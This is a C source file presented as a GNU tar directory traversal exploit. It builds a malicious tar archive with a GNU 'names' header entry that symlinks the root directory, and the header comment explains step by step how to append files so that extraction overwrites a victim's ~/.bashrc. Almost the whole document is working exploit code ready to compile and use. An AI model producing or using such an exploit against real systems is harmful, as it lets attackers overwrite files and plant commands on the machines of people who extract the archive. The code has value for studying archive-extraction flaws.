/*
* tarxyz.c - GNU tar directory traversal exploit.
* Written by Teemu Salmela.
*
* Example usage (creates a tar file that extracts /home/teemu/.bashrc):
* $ gcc -o tarxyz tarxyz.c
* $ ./tarxyz > ~/xyz.tar
* $ mkdir -p /tmp/xyz/home/teemu/
* $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc
* $ cd /tmp
* $ tar -rf ~/xyz.tar xyz/home/teemu
*/
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
struct posix_header
{ /* byte offset */
char name[100]; /* 0 */
char mode[8]; /* 100 */
char uid[8]; /* 108 */
char gid[8]; /* 116 */
char size[12]; /* 124 */
char mtime[12]; /* 136 */
char chksum[8]; /* 148 */
char typeflag; /* 156 */
char linkname[100]; /* 157 */
char magic[6]; /* 257 */
char version[2]; /* 263 */
char uname[32]; /* 265 */
char gname[32]; /* 297 */
char devmajor[8]; /* 329 */
char devminor[8]; /* 337 */
char prefix[155]; /* 345 */
/* 500 */
};
#define GNUTYPE_NAMES 'N'
#define BLOCKSIZE 512
union block
{
char buffer[BLOCKSIZE];
struct posix_header header;
};
void
data(void *p, size_t size)
{
size_t n = 0;
char b[BLOCKSIZE];
while (size - n > 512) {
fwrite(&((char *)p)[n], 1, 512, stdout);
n += 512;
}
if (size - n) {
memset(b, 0, sizeof(b));
memcpy(b, &((char *)p)[n], size - n);
fwrite(b, 1, sizeof(b), stdout);
}
}
int
main(int argc, char *argv[])
{
char *link_name = "xyz";
union block b;
char *d;
int i;
unsigned int cksum;
if (argc > 1)
link_name = argv[1];
if (asprintf(&d, "Symlink / to %s\n", link_name) < 0) {
fprintf(stderr, "out of memory\n");
exit(1);
}
memset(&b, 0, sizeof(b));
strcpy(b.header.name, "xyz");
strcpy(b.header.mode, "0000777");
strcpy(b.header.uid, "0000000");
strcpy(b.header.gid, "0000000");
sprintf(b.header.size, "%011o", strlen(d));
strcpy(b.header.mtime, "00000000000");
strcpy(b.header.chksum, " ");
b.header.typeflag = GNUTYPE_NAMES;
strcpy(b.header.magic, "ustar ");
strcpy(b.header.uname, "root");
strcpy(b.header.gname, "root");
for (cksum = 0, i = 0; i < sizeof(b); i++)
cksum += b.buffer[i] & 0xff;
sprintf(b.header.chksum, "%06o ", cksum);
fwrite(&b, 1, sizeof(b), stdout);
data(d, strlen(d));
}
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